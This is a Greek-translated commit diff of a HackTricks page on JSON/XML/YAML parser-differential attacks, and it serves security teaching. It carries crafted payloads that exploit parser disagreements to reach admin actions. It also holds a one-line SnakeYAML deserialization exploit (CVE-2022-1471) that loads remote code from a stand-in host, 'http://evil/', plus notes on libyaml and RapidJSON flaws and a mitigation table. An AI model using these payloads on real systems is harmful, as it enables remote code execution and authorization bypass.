mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to el
This commit is contained in:
parent
1cb4e802be
commit
772d0c3c9f
@ -85,8 +85,8 @@ json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||
"AcTiOn": "AdminAction"
|
||||
}
|
||||
```
|
||||
- Η Python βλέπει το `UserAction`, το επιτρέπει
|
||||
- Η Go βλέπει το `AdminAction`, το εκτελεί
|
||||
- Python βλέπει το `UserAction`, το επιτρέπει
|
||||
- Go βλέπει το `AdminAction`, το εκτελεί
|
||||
|
||||
|
||||
### Σύγχυση Μορφής Δεδομένων (Polyglots)
|
||||
@ -98,7 +98,7 @@ json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||
- Την κεφαλίδα `Accept: application/json`
|
||||
- Μερικό έλεγχο του σώματος JSON
|
||||
|
||||
Ο αναλυτής XML της Go το ανέλυσε **οπωσδήποτε** και εμπιστεύτηκε την εισαγόμενη ταυτότητα.
|
||||
Ο αναλυτής XML του Go το ανέλυσε **οπωσδήποτε** και εμπιστεύτηκε την εισαγόμενη ταυτότητα.
|
||||
|
||||
- Δημιουργημένο payload:
|
||||
```json
|
||||
@ -108,21 +108,57 @@ json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||||
}
|
||||
```
|
||||
Αποτέλεσμα:
|
||||
- **Go JSON** parser: `Action_2` (χωρίς διάκριση πεζών-κεφαλαίων + τελευταίο κερδίζει)
|
||||
- **YAML** parser: `Action_1` (με διάκριση πεζών-κεφαλαίων)
|
||||
- **XML** parser: αναλύει `"Action_3"` μέσα στη συμβολοσειρά
|
||||
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
|
||||
- **YAML** parser: `Action_1` (case-sensitive)
|
||||
- **XML** parser: parses `"Action_3"` inside the string
|
||||
|
||||
---
|
||||
|
||||
### 🔐 Μετριασμοί
|
||||
## Σημαντικές Ευπάθειες Παρσέρ (2023-2025)
|
||||
|
||||
| Κίνδυνος | Διόρθωση |
|
||||
|-----------------------------|---------------------------------------|
|
||||
| Άγνωστα πεδία | `decoder.DisallowUnknownFields()` |
|
||||
| Διπλά πεδία (JSON) | ❌ Καμία διόρθωση στη stdlib |
|
||||
| Αντιστοίχιση χωρίς διάκριση | ❌ Καμία διόρθωση στη stdlib |
|
||||
| XML σκουπίδια δεδομένα | ❌ Καμία διόρθωση στη stdlib |
|
||||
| YAML: άγνωστα κλειδιά | `yaml.KnownFields(true)` |
|
||||
> Τα παρακάτω δημόσια εκμεταλλεύσιμα ζητήματα δείχνουν ότι η ανασφαλής παρσάρισμα είναι ένα πρόβλημα πολλών γλωσσών — όχι μόνο πρόβλημα του Go.
|
||||
|
||||
### SnakeYAML Deserialization RCE (CVE-2022-1471)
|
||||
|
||||
* Αφορά: `org.yaml:snakeyaml` < **2.0** (χρησιμοποιείται από Spring-Boot, Jenkins, κ.λπ.).
|
||||
* Αιτία: `new Constructor()` αποσυναρμολογεί **τυχαίες κλάσεις Java**, επιτρέποντας αλυσίδες gadget που καταλήγουν σε εκτέλεση απομακρυσμένου κώδικα.
|
||||
* One-liner PoC (θα ανοίξει την αριθμομηχανή στον ευάλωτο υπολογιστή):
|
||||
```yaml
|
||||
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
|
||||
```
|
||||
* Διόρθωση / Μετριασμός:
|
||||
1. **Αναβάθμιση σε ≥2.0** (χρησιμοποιεί `SafeLoader` από προεπιλογή).
|
||||
2. Σε παλαιότερες εκδόσεις, χρησιμοποιήστε ρητά `new Yaml(new SafeConstructor())`.
|
||||
|
||||
### libyaml Double-Free (CVE-2024-35325)
|
||||
|
||||
* Επηρεάζει: `libyaml` ≤0.2.5 (C βιβλιοθήκη που χρησιμοποιείται από πολλές γλώσσες).
|
||||
* Ζήτημα: Η κλήση `yaml_event_delete()` δύο φορές οδηγεί σε διπλή απελευθέρωση που οι επιτιθέμενοι μπορούν να μετατρέψουν σε DoS ή, σε ορισμένα σενάρια, εκμετάλλευση σωρού.
|
||||
* Κατάσταση: Ο upstream το απέρριψε ως “κακή χρήση API”, αλλά οι διανομές Linux παρέδωσαν διορθωμένη έκδοση **0.2.6** που μηδενίζει τον δείκτη αμυντικά.
|
||||
|
||||
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
|
||||
|
||||
* Επηρεάζει: Tencent **RapidJSON** πριν την δέσμευση `8269bc2` (<1.1.0-patch-22).
|
||||
* Σφάλμα: Στη μέθοδο `GenericReader::ParseNumber()` η μη ελεγχόμενη αριθμητική επιτρέπει στους επιτιθέμενους να δημιουργήσουν τεράστιες αριθμητικές λεκτικές που περιτυλίγονται και διαφθείρουν τον σωρό — τελικά επιτρέποντας την κλιμάκωση προνομίων όταν το προκύπτον αντικείμενο χρησιμοποιείται για αποφάσεις εξουσιοδότησης.
|
||||
|
||||
---
|
||||
|
||||
### 🔐 Μετριασμοί (Ενημερωμένο)
|
||||
|
||||
| Κίνδυνος | Διόρθωση / Σύσταση |
|
||||
|-------------------------------------|------------------------------------------------------------|
|
||||
| Άγνωστα πεδία (JSON) | `decoder.DisallowUnknownFields()` |
|
||||
| Διπλά πεδία (JSON) | ❌ Καμία διόρθωση στη stdlib — επικυρώστε με [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
|
||||
| Αντιστοίχιση χωρίς διάκριση πεζών-κεφαλαίων (Go) | ❌ Καμία διόρθωση — επικυρώστε τις ετικέτες δομής + προ-κανονικοποιήστε την είσοδο |
|
||||
| XML σκουπίδια δεδομένα / XXE | Χρησιμοποιήστε έναν σκληρυμένο αναλυτή (`encoding/xml` + `DisallowDTD`) |
|
||||
| YAML άγνωστα κλειδιά | `yaml.KnownFields(true)` |
|
||||
| **Μη ασφαλής αποσυμπίεση YAML** | Χρησιμοποιήστε SafeConstructor / αναβαθμίστε σε SnakeYAML ≥2.0 |
|
||||
| libyaml ≤0.2.5 διπλή απελευθέρωση | Αναβαθμίστε σε **0.2.6** ή σε έκδοση με διορθώσεις διανομής |
|
||||
| RapidJSON <διορθωμένη δέσμευση | Συγκεντρώστε κατά την τελευταία RapidJSON (≥Ιούλιος 2024) |
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- Baeldung – “Επίλυση CVE-2022-1471 με SnakeYAML 2.0”
|
||||
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user